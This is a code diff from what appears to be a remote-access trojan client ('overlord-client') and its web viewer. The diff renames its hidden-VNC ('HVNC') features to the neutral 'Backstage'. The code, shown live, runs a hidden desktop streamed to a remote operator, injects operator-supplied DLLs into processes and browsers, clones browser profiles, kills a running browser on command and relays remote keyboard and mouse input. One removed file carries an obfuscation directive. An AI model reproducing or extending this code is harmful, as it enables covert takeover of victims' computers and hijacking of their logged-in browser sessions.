||||
batch = append(batch, wire.HVNCInstalledApp{
|
||||
batch = append(batch, wire.BackstageInstalledApp{
|
||||
Name: a.name,
|
||||
ExePath: a.exePath,
|
||||
Icon: extractIconBase64(a.exePath),
|
||||
})
|
||||
if len(batch) >= batchSize {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
|
||||
Type: "hvnc_installed_apps_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
|
||||
Type: "backstage_installed_apps_result",
|
||||
Apps: batch,
|
||||
})
|
||||
sent += len(batch)
|
||||
batch = batch[:0]
|
||||
}
|
||||
}
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
|
||||
Type: "hvnc_installed_apps_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
|
||||
Type: "backstage_installed_apps_result",
|
||||
Apps: batch,
|
||||
Done: true,
|
||||
})
|
||||
sent += len(batch)
|
||||
log.Printf("hvnc: installed apps complete, sent %d apps", sent)
|
||||
log.Printf("backstage: installed apps complete, sent %d apps", sent)
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_lookup":
|
||||
case "backstage_lookup":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
exeName := ""
|
||||
if payload != nil {
|
||||
@@ -1905,28 +1905,28 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, false, "no exe name provided")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: lookup exe %q", exeName)
|
||||
log.Printf("backstage: lookup exe %q", exeName)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_lookup", nil, func() {
|
||||
goSafe("backstage_lookup", nil, func() {
|
||||
filesearch.LookupExe(exeName, 8, func(path string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
|
||||
Type: "hvnc_lookup_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
|
||||
Type: "backstage_lookup_result",
|
||||
Exe: exeName,
|
||||
Path: path,
|
||||
Done: false,
|
||||
})
|
||||
})
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
|
||||
Type: "hvnc_lookup_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
|
||||
Type: "backstage_lookup_result",
|
||||
Exe: exeName,
|
||||
Path: "",
|
||||
Done: true,
|
||||
})
|
||||
log.Printf("hvnc: lookup complete for %q", exeName)
|
||||
log.Printf("backstage: lookup complete for %q", exeName)
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_start_process_injected":
|
||||
case "backstage_start_process_injected":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
filePath := ""
|
||||
searchPath := ""
|
||||
@@ -1952,16 +1952,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
}
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
log.Printf("hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
|
||||
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process_injected", nil, func() {
|
||||
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
|
||||
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
|
||||
goSafe("backstage_start_process_injected", nil, func() {
|
||||
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
|
||||
log.Printf("backstage: injected process failed for %q: %v", filePath, err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_start_chrome_injected":
|
||||
case "backstage_start_chrome_injected":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
chromePath := ""
|
||||
if payload != nil {
|
||||
@@ -1974,17 +1974,17 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
|
||||
log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_chrome_injected", nil, func() {
|
||||
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
|
||||
log.Printf("hvnc: chrome injected failed: %v", err)
|
||||
goSafe("backstage_start_chrome_injected", nil, func() {
|
||||
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
|
||||
log.Printf("backstage: chrome injected failed: %v", err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_start_browser_injected":
|
||||
case "backstage_start_browser_injected":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
browser := ""
|
||||
exePath := ""
|
||||
@@ -2021,15 +2021,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
|
||||
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||
goSafe("backstage_start_browser_injected", nil, func() {
|
||||
var onProgress capture.CloneProgressFunc
|
||||
if clone {
|
||||
onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCCloneProgress{
|
||||
Type: "hvnc_clone_progress",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{
|
||||
Type: "backstage_clone_progress",
|
||||
Browser: browser,
|
||||
Percent: percent,
|
||||
CopiedBytes: copiedBytes,
|
||||
@@ -2039,24 +2039,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
}
|
||||
}
|
||||
onDXGIStatus := func(success bool, gpuPID uint32, message string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{
|
||||
Type: "hvnc_dxgi_status",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageDXGIStatus{
|
||||
Type: "backstage_dxgi_status",
|
||||
Success: success,
|
||||
GPUPid: gpuPID,
|
||||
Message: message,
|
||||
})
|
||||
}
|
||||
onLaunchStatus := func(step string, success bool, detail string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
|
||||
Type: "hvnc_browser_launch_status",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
|
||||
Type: "backstage_browser_launch_status",
|
||||
Browser: browser,
|
||||
Step: step,
|
||||
Success: success,
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
||||
log.Printf("backstage: browser injected failed for %q: %v", browser, err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
@@ -2178,7 +2178,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
case "virtual_request_keyframe":
|
||||
log.Printf("hidden: request full frame")
|
||||
capture.RequestHVNCFullFrame()
|
||||
capture.RequestbackstageFullFrame()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "virtual_mouse_move":
|
||||
@@ -2302,9 +2302,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("virtual_window_list", nil, func() {
|
||||
windows, monitors := capture.VirtualEnumWindows()
|
||||
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
|
||||
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
|
||||
for _, w := range windows {
|
||||
winEntries = append(winEntries, wire.HVNCWindowEntry{
|
||||
winEntries = append(winEntries, wire.BackstageWindowEntry{
|
||||
Title: w.Title,
|
||||
X: w.X,
|
||||
Y: w.Y,
|
||||
@@ -2315,9 +2315,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
Monitor: w.Monitor,
|
||||
})
|
||||
}
|
||||
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
|
||||
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
|
||||
for _, m := range monitors {
|
||||
monEntries = append(monEntries, wire.HVNCMonitorEntry{
|
||||
monEntries = append(monEntries, wire.BackstageMonitorEntry{
|
||||
Index: m.Index,
|
||||
Name: m.Name,
|
||||
X: m.X,
|
||||
@@ -2327,8 +2327,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
Primary: m.Primary,
|
||||
})
|
||||
}
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
|
||||
Type: "hvnc_window_list_result",
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
|
||||
Type: "backstage_window_list_result",
|
||||
Windows: winEntries,
|
||||
Monitors: monEntries,
|
||||
})
|
||||
|
||||
@@ -71,8 +71,8 @@ func isInputCommand(cmdType string) bool {
|
||||
switch cmdType {
|
||||
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
|
||||
"desktop_key_down", "desktop_key_up", "desktop_text",
|
||||
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
|
||||
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
|
||||
"backstage_mouse_move", "backstage_mouse_down", "backstage_mouse_up",
|
||||
"backstage_mouse_wheel", "backstage_key_down", "backstage_key_up":
|
||||
return true
|
||||
}
|
||||
return false
|
||||
|
||||
@@ -1,129 +0,0 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
hvncPersistedDisplayValue int
|
||||
hvncPersistedDisplayMu sync.Mutex
|
||||
hvncTargetFPS atomic.Int64
|
||||
)
|
||||
|
||||
func persistHVNCDisplaySelection(display int) {
|
||||
hvncPersistedDisplayMu.Lock()
|
||||
hvncPersistedDisplayValue = display
|
||||
hvncPersistedDisplayMu.Unlock()
|
||||
}
|
||||
|
||||
func GetPersistedHVNCDisplay() int {
|
||||
hvncPersistedDisplayMu.Lock()
|
||||
defer hvncPersistedDisplayMu.Unlock()
|
||||
return hvncPersistedDisplayValue
|
||||
}
|
||||
|
||||
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
fps := activeHVNCTargetFPS()
|
||||
interval := time.Second / time.Duration(fps)
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
log.Printf("hvnc: starting stream (target fps %d)", fps)
|
||||
|
||||
if err := capture.InitializeHVNCDesktop(); err != nil {
|
||||
log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
if autoStartExplorer {
|
||||
goSafe("hvnc auto-start explorer", nil, func() {
|
||||
if err := capture.HVNCAutoStartExplorer(); err != nil {
|
||||
log.Printf("hvnc: auto-start explorer error: %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
currentFPS := fps
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
log.Printf("hvnc: stopping stream")
|
||||
capture.CleanupHVNCDesktop()
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
fps := activeHVNCTargetFPS()
|
||||
if fps != currentFPS {
|
||||
currentFPS = fps
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
ticker.Reset(time.Second / time.Duration(fps))
|
||||
log.Printf("hvnc: target fps changed to %d", fps)
|
||||
}
|
||||
if err := capture.NowHVNC(ctx, env); err != nil {
|
||||
if ctx.Err() != nil {
|
||||
log.Printf("hvnc: stopping stream")
|
||||
capture.CleanupHVNCDesktop()
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: capture error: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func activeHVNCTargetFPS() int {
|
||||
if fps := int(hvncTargetFPS.Load()); fps > 0 {
|
||||
return fps
|
||||
}
|
||||
_, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
|
||||
return SetHVNCTargetFPS(fps)
|
||||
}
|
||||
|
||||
func SetHVNCTargetFPS(fps int) int {
|
||||
fps = clampDesktopTargetFPS(fps)
|
||||
hvncTargetFPS.Store(int64(fps))
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
return fps
|
||||
}
|
||||
|
||||
func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
|
||||
prev := env.HVNCSelectedDisplay
|
||||
maxDisplays := capture.HVNCMonitorCount()
|
||||
if display < 0 || display >= maxDisplays {
|
||||
log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
|
||||
display = 0
|
||||
}
|
||||
env.HVNCSelectedDisplay = display
|
||||
|
||||
persistHVNCDisplaySelection(display)
|
||||
log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCMouseControl = enabled
|
||||
log.Printf("hvnc: mouse control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCKeyboardControl = enabled
|
||||
log.Printf("hvnc: keyboard control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCCursorCapture = enabled
|
||||
capture.SetHVNCCursorCapture(enabled)
|
||||
log.Printf("hvnc: cursor capture %v", enabled)
|
||||
return nil
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package handlers
|
||||
|
||||
func setCursorPosHVNC(x, y int32) {}
|
||||
func sendMouseDownHVNC(button int) {}
|
||||
func sendMouseUpHVNC(button int) {}
|
||||
func sendKeyDownHVNC(vk uint16) {}
|
||||
func sendKeyUpHVNC(vk uint16) {}
|
||||
func keyCodeToVKHVNC(code string) uint16 { return 0 }
|
||||
@@ -417,7 +417,7 @@ type appWithIcon struct {
|
||||
|
||||
func getInstalledAppsWithIcons() []appWithIcon {
|
||||
apps := enumerateInstalledApps()
|
||||
log.Printf("hvnc: enumerated %d installed apps, extracting icons", len(apps))
|
||||
log.Printf("backstage: enumerated %d installed apps, extracting icons", len(apps))
|
||||
|
||||
out := make([]appWithIcon, len(apps))
|
||||
for i, app := range apps {
|
||||
|
||||
@@ -25,8 +25,8 @@ func pcm16BytesToInt16(chunk []byte) []int16 {
|
||||
|
||||
func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind {
|
||||
switch s, _ := payload["kind"].(string); s {
|
||||
case "hvnc":
|
||||
return webrtcpub.KindHVNC
|
||||
case "backstage":
|
||||
return webrtcpub.Kindbackstage
|
||||
case "webcam":
|
||||
return webrtcpub.KindWebcam
|
||||
case "audio":
|
||||
@@ -81,8 +81,8 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
|
||||
// Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can
|
||||
// decode immediately instead of waiting for the next natural IDR.
|
||||
if hasVideo {
|
||||
if kind == webrtcpub.KindHVNC {
|
||||
capture.ResetPrevHVNC()
|
||||
if kind == webrtcpub.Kindbackstage {
|
||||
capture.ResetPrevbackstage()
|
||||
} else {
|
||||
capture.ResetPrev()
|
||||
}
|
||||
@@ -142,8 +142,8 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
|
||||
return nil
|
||||
}
|
||||
if hasVideo {
|
||||
if kind == webrtcpub.KindHVNC {
|
||||
capture.ResetPrevHVNC()
|
||||
if kind == webrtcpub.Kindbackstage {
|
||||
capture.ResetPrevbackstage()
|
||||
} else {
|
||||
capture.ResetPrev()
|
||||
}
|
||||
|
||||
@@ -27,14 +27,14 @@ type Env struct {
|
||||
DesktopCancel context.CancelFunc
|
||||
DesktopDone chan struct{}
|
||||
DesktopMu sync.Mutex
|
||||
// HVNC fields
|
||||
HVNCSelectedDisplay int
|
||||
HVNCMouseControl bool
|
||||
HVNCKeyboardControl bool
|
||||
HVNCCursorCapture bool
|
||||
HVNCCancel context.CancelFunc
|
||||
HVNCDone chan struct{}
|
||||
HVNCMu sync.Mutex
|
||||
// backstage fields
|
||||
BackstageSelectedDisplay int
|
||||
BackstageMouseControl bool
|
||||
BackstageKeyboardControl bool
|
||||
BackstageCursorCapture bool
|
||||
BackstageCancel context.CancelFunc
|
||||
BackstageDone chan struct{}
|
||||
BackstageMu sync.Mutex
|
||||
// Virtual mode fields
|
||||
VirtualMouseControl bool
|
||||
VirtualKeyboardControl bool
|
||||
|
||||
@@ -10,7 +10,7 @@ type Kind string
|
||||
|
||||
const (
|
||||
KindDesktop Kind = "desktop"
|
||||
KindHVNC Kind = "hvnc"
|
||||
Kindbackstage Kind = "backstage"
|
||||
KindWebcam Kind = "webcam"
|
||||
KindAudio Kind = "audio"
|
||||
)
|
||||
|
||||
@@ -110,7 +110,7 @@ type FrameHeader struct {
|
||||
Monitor int `msgpack:"monitor"`
|
||||
FPS int `msgpack:"fps"`
|
||||
Format string `msgpack:"format"`
|
||||
HVNC bool `msgpack:"hvnc,omitempty"`
|
||||
Backstage bool `msgpack:"backstage,omitempty"`
|
||||
Webcam bool `msgpack:"webcam,omitempty"`
|
||||
}
|
||||
|
||||
@@ -346,7 +346,7 @@ type WebcamDevices struct {
|
||||
Selected int `msgpack:"selected"`
|
||||
}
|
||||
|
||||
type HVNCCloneProgress struct {
|
||||
type BackstageCloneProgress struct {
|
||||
Type string `msgpack:"type"`
|
||||
Browser string `msgpack:"browser"`
|
||||
Percent int `msgpack:"percent"`
|
||||
@@ -355,38 +355,38 @@ type HVNCCloneProgress struct {
|
||||
Status string `msgpack:"status"`
|
||||
}
|
||||
|
||||
type HVNCDXGIStatus struct {
|
||||
type BackstageDXGIStatus struct {
|
||||
Type string `msgpack:"type"`
|
||||
Success bool `msgpack:"success"`
|
||||
GPUPid uint32 `msgpack:"gpuPid"`
|
||||
Message string `msgpack:"message"`
|
||||
}
|
||||
|
||||
type HVNCLookupResult struct {
|
||||
type BackstageLookupResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Exe string `msgpack:"exe"`
|
||||
Path string `msgpack:"path"`
|
||||
Done bool `msgpack:"done"`
|
||||
}
|
||||
|
||||
type HVNCBrowserCheckResult struct {
|
||||
type BackstageBrowserCheckResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Browsers map[string]bool `msgpack:"browsers"`
|
||||
}
|
||||
|
||||
type HVNCInstalledApp struct {
|
||||
type BackstageInstalledApp struct {
|
||||
Name string `msgpack:"name"`
|
||||
ExePath string `msgpack:"exePath"`
|
||||
Icon string `msgpack:"icon"`
|
||||
}
|
||||
|
||||
type HVNCInstalledAppsResult struct {
|
||||
type BackstageInstalledAppsResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Apps []HVNCInstalledApp `msgpack:"apps"`
|
||||
Apps []BackstageInstalledApp `msgpack:"apps"`
|
||||
Done bool `msgpack:"done"`
|
||||
}
|
||||
|
||||
type HVNCBrowserLaunchStatus struct {
|
||||
type BackstageBrowserLaunchStatus struct {
|
||||
Type string `msgpack:"type"`
|
||||
Browser string `msgpack:"browser"`
|
||||
Step string `msgpack:"step"`
|
||||
@@ -394,7 +394,7 @@ type HVNCBrowserLaunchStatus struct {
|
||||
Detail string `msgpack:"detail"`
|
||||
}
|
||||
|
||||
type HVNCWindowEntry struct {
|
||||
type BackstageWindowEntry struct {
|
||||
Title string `msgpack:"title"`
|
||||
X int `msgpack:"x"`
|
||||
Y int `msgpack:"y"`
|
||||
@@ -405,7 +405,7 @@ type HVNCWindowEntry struct {
|
||||
Monitor int `msgpack:"monitor"`
|
||||
}
|
||||
|
||||
type HVNCMonitorEntry struct {
|
||||
type BackstageMonitorEntry struct {
|
||||
Index int `msgpack:"index"`
|
||||
Name string `msgpack:"name"`
|
||||
X int `msgpack:"x"`
|
||||
@@ -415,10 +415,10 @@ type HVNCMonitorEntry struct {
|
||||
Primary bool `msgpack:"primary"`
|
||||
}
|
||||
|
||||
type HVNCWindowListResult struct {
|
||||
type BackstageWindowListResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Windows []HVNCWindowEntry `msgpack:"windows"`
|
||||
Monitors []HVNCMonitorEntry `msgpack:"monitors"`
|
||||
Windows []BackstageWindowEntry `msgpack:"windows"`
|
||||
Monitors []BackstageMonitorEntry `msgpack:"monitors"`
|
||||
}
|
||||
|
||||
type ClipboardContent struct {
|
||||
|
||||
@@ -8,7 +8,7 @@ A native desktop (fat) client for the Overlord server, built with [Tauri 2](http
|
||||
- Remembers your last server address across launches
|
||||
- TLS toggle for connecting to HTTPS or HTTP servers
|
||||
- Accepts self-signed certificates (Windows / WebView2 via `--ignore-certificate-errors`)
|
||||
- `window.open` from the web UI (audio, console, HVNC, etc.) opens native popup windows that inherit the parent's session
|
||||
- `window.open` from the web UI (audio, console, Backstage, etc.) opens native popup windows that inherit the parent's session
|
||||
- Cross-platform (macOS, Windows, Linux)
|
||||
|
||||
## Prerequisites
|
||||
@@ -64,7 +64,7 @@ Defaults: port **5173**, TLS **enabled**.
|
||||
## Notes
|
||||
|
||||
- **Self-signed certs:** handled via WebView2's `--ignore-certificate-errors` flag (Windows). On macOS/Linux the system webview does not currently expose an equivalent flag through Tauri's config — issue a trusted cert (e.g. mkcert / Let's Encrypt) for production use on those platforms.
|
||||
- **Popups:** `window.open` calls from the web UI (audio, console, HVNC, etc.) are caught by Tauri's `on_new_window` handler and turned into real WebView2 popups. This is intentional — it's the only way the popup webview inherits the parent's auth cookie (which is `SameSite=Strict`).
|
||||
- **Popups:** `window.open` calls from the web UI (audio, console, Backstage, etc.) are caught by Tauri's `on_new_window` handler and turned into real WebView2 popups. This is intentional — it's the only way the popup webview inherits the parent's auth cookie (which is `SameSite=Strict`).
|
||||
- **Footprint:** ~10 MB installer vs. ~80 MB for an Electron equivalent.
|
||||
|
||||
## Project Layout
|
||||
|
||||
+162
-162
@@ -16,7 +16,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
// for older bookmarked URLs.
|
||||
const virtualMode = ["virtual", "hidden"].includes(urlParams.get("mode"));
|
||||
|
||||
const allowed = await checkFeatureAccess("hvnc", clientId);
|
||||
const allowed = await checkFeatureAccess("backstage", clientId);
|
||||
if (!allowed) return;
|
||||
|
||||
const clientLabel = document.getElementById("clientLabel");
|
||||
@@ -46,7 +46,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
location.host +
|
||||
"/api/clients/" +
|
||||
clientId +
|
||||
"/hvnc/ws";
|
||||
"/backstage/ws";
|
||||
}
|
||||
|
||||
function connectWs() {
|
||||
@@ -90,14 +90,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
const webrtcVideo = document.getElementById("webrtcVideo");
|
||||
const canvas = document.getElementById("frameCanvas");
|
||||
const canvasContainer = document.getElementById("canvasContainer");
|
||||
const contextMenu = document.getElementById("hvncContextMenu");
|
||||
const contextMenu = document.getElementById("backstageContextMenu");
|
||||
const ctx = canvas.getContext("2d");
|
||||
const agentFps = document.getElementById("agentFps");
|
||||
const viewerFps = document.getElementById("viewerFps");
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||
const uiaCtrl = document.getElementById("uiaCtrl");
|
||||
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
|
||||
const backstageResolutionSelect = document.getElementById("backstageResolutionSelect");
|
||||
const targetFpsSelect = document.getElementById("targetFpsSelect");
|
||||
let whepClient = null;
|
||||
let p2pClient = null;
|
||||
@@ -108,10 +108,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
function syncInputEnableState() {
|
||||
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
if (uiaCtrl) sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
|
||||
pushHvncResolution();
|
||||
if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
|
||||
pushbackstageResolution();
|
||||
}
|
||||
let activeClientId = clientId;
|
||||
let renderCount = 0;
|
||||
@@ -158,7 +158,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function applySharedSettings(settings) {
|
||||
if (!settings || typeof settings !== "object") return;
|
||||
savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay;
|
||||
setSelectValue(hvncResolutionSelect, settings.resolution);
|
||||
setSelectValue(backstageResolutionSelect, settings.resolution);
|
||||
setSelectValue(targetFpsSelect, settings.targetFps);
|
||||
setSelectValue(webrtcMode, settings.webrtcMode);
|
||||
if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
|
||||
@@ -169,9 +169,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (typeof settings.preferH264 === "boolean") {
|
||||
prefersH264 = settings.preferH264 && typeof VideoDecoder === "function";
|
||||
}
|
||||
const cloneToggle = document.getElementById("hvncCloneToggle");
|
||||
const cloneLiteToggle = document.getElementById("hvncCloneLiteToggle");
|
||||
const killIfRunningToggle = document.getElementById("hvncKillIfRunningToggle");
|
||||
const cloneToggle = document.getElementById("backstageCloneToggle");
|
||||
const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle");
|
||||
const killIfRunningToggle = document.getElementById("backstageKillIfRunningToggle");
|
||||
if (cloneToggle && typeof settings.cloneProfile === "boolean") cloneToggle.checked = settings.cloneProfile;
|
||||
if (cloneLiteToggle && typeof settings.cloneLite === "boolean") cloneLiteToggle.checked = settings.cloneLite;
|
||||
if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") {
|
||||
@@ -183,7 +183,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function readSharedSettings() {
|
||||
return {
|
||||
display: Number(displaySelect?.value || 0),
|
||||
resolution: hvncResolutionSelect?.value || "1080",
|
||||
resolution: backstageResolutionSelect?.value || "1080",
|
||||
targetFps: Number(targetFpsSelect?.value || 120),
|
||||
quality: Number(qualitySlider?.value || 90),
|
||||
preferH264: !!prefersH264,
|
||||
@@ -192,14 +192,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
keyboard: !!kbdCtrl?.checked,
|
||||
clipboardSync: !!clipboardSyncCtrl?.checked,
|
||||
uia: !!uiaCtrl?.checked,
|
||||
cloneProfile: document.getElementById("hvncCloneToggle")?.checked !== false,
|
||||
cloneLite: document.getElementById("hvncCloneLiteToggle")?.checked === true,
|
||||
killIfRunning: document.getElementById("hvncKillIfRunningToggle")?.checked === true,
|
||||
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
|
||||
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
|
||||
